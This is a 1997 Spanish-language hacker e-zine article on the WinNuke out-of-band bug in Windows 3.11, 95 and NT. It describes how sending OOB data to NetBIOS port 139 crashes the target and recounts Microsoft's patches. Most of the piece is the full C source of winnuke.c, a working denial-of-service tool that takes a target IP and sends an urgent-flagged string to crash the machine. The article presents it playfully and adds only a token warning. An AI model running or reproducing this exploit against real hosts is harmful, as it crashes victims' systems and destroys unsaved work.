IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII o 03. OOB ATTACK! o IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII Recientemente, principios de mayo 97, se empezo a comentar en algunos circulos que un fallo en el manejo de datos OOB (Out of Band-Fuera de Banda) por parte de Windows en sus versiones Win 3.11, Win 95 y Win NT podia hacer que un atacante _desconectase y colgase_ el ordenador de una persona que estuviese conectada a Internet usando uno de esos S.O (o seudo operativos). Los requisitos eran que la presa utilizase el protocolo NetBios, el estandar de IBM para redes, y no estuviese tras un proxy o firewall, si se cumplian esos requisitos bastaba con saber su direccion IP para mandarle unos datos modulados como OOB al puerto 139 y hacer que le apareciese la tipica pantalla azul de Windows con el mensaje: "El sistema se halla ocupado o bien se ha vuelto inestable...". Unica solucion?. Resetear el ordenador, incluso usando NT, perder la conexion y datos no guardados. Respuesta de MSoft?. Incluida en el Service Pack 3 para NT, avanzando para Windows 95, (para cuando salga la revista ya habra parche) y desentendimiento de Win 3.11. Problema?. Que aun en el caso de aplicar el patch _si el atacante utilizaba un Macintosh *colgaba* el ordenador victima_ (que risa para los fanaticos del Mac). Se hablo de "diferente implementacion del TCP/IP" en el Apple pero parece que al final se trataba de que el Mac enviaba los datos con el flag de urgente. De todos modos MS saco un nuevo parche que esta vez si fija el problema (como estan acostumbrados a sacar patchs se dan mucha ma€a ;> ) Como las noticias vuelan es posible que muchos de vosotros hayais sido victimas o verdugos, quien sabe? de este "bug" vamos a incluir aqui el programa original que destapo el asunto obra de _eci. Aqui va el codigo original en C /* winnuke.c - (05/07/97) By _eci */ /* Tested on Linux 2.0.30, SunOS 5.5.1, and BSDI 2.1 */ #include #include #include #include #include #include #include #define dport 139 /* Ataque al puerto 139: solo por diversion */ int x, s; char *str = "Bye now, have sweet dreams!"; /* Cadena a enviar como OOB */ struct sockaddr_in addr, spoofedaddr; struct hostent *host; int open_sock(int sock, char *server, int port) { struct sockaddr_in blah; struct hostent *he; /* Busca la presa */ bzero((char *)&blah,sizeof(blah)); blah.sin_family=AF_INET; blah.sin_addr.s_addr=inet_addr(server); blah.sin_port=htons(port); if ((he = gethostbyname(server)) != NULL) { bcopy(he->h_addr, (char *)&blah.sin_addr, he->h_length); } else { if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) { perror("gethostbyname()"); return(-3); } } if (connect(sock,(struct sockaddr *)&blah,16)==-1) { perror("connect()"); /* Presa en punto de mira */ close(sock); return(-4); } printf("Conectado a [%s:%d].\n",server,port); return; } void main(int argc, char *argv[]) { if (argc != 2) { printf("Usage: %s \n",argv[0]); exit(0); } if ((s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) { perror("socket()"); exit(-1); } open_sock(s,argv[1],dport); printf("Running crash... "); /*Modula la cadena como OOB */ send(s,str,strlen(str),MSG_OOB); usleep(100000); printf("Done!\n"); close(s); } Por supuesto espero que nadie se dedique a colgar ordenadores a diestro y siniestro, no seais lamers.